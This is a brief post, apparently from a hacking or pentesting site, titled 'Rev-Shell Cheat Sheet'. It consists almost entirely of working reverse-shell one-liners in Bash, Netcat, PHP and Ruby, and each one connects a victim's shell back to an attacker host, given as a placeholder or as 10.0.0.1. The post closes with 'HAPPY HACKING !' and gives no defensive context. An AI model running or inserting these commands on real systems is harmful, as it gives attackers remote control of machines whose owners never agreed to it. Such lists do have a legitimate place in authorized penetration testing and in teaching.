Rev-Shell Cheat Sheet

1 · Farid Arif · Oct. 7, 2020, midnight
Bash : $ bash -i >& /dev/tcp/<attacker ip>/<port> 0>&1 Netcat : $ nc -e /bin/sh <attacker ip> <port> or $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker ip> <port> >/tmp/f PHP : $ php -r '$sock=fsockopen("<attacker ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");' Ruby : $ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' HAPPY HACKING !...